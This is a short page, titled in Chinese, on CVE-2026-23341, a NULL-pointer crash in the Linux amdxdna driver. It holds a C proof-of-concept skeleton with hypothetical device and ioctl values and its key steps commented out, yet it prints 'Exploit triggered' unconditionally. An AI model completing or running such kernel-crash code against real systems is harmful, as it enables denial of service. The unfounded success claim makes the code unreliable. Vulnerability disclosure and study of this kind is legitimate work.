CVE-2026-23341: Linux内核amdxdna驱动崩溃漏洞

/* * PoC for CVE-2026-23341 * Concept: Trigger NULL pointer dereference in amdxdna driver * by destroying a suspended context. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #define DEVICE_PATH "/dev/accel/accel0" // Hypothetical device path #define DESTROY_CONTEXT_IOCTL 0x4001 // Hypothetical IOCTL command int main() { int fd; printf("[+] Attempting to open device...\n"); fd = open(DEVICE_PATH, O_RDWR); if (fd < 0) { perror("[-] Failed to open device"); return 1; } printf("[+] Device opened. Creating context...\n"); // Step 1: Create a context (Implementation specific) // int ctx_id = create_context(fd); printf("[+] Waiting for context to auto-suspend...\n"); // Step 2: Wait for idle timeout to trigger automatic suspension sleep(10); printf("[+] Attempting to destroy suspended context...\n"); // Step 3: Issue ioctl to destroy context without checking NULL pointer // if (ioctl(fd, DESTROY_CONTEXT_IOCTL, &ctx_id) < 0) { // perror("ioctl failed"); // } // If vulnerable, kernel crashes here printf("[+] Exploit triggered.\n"); close(fd); return 0; }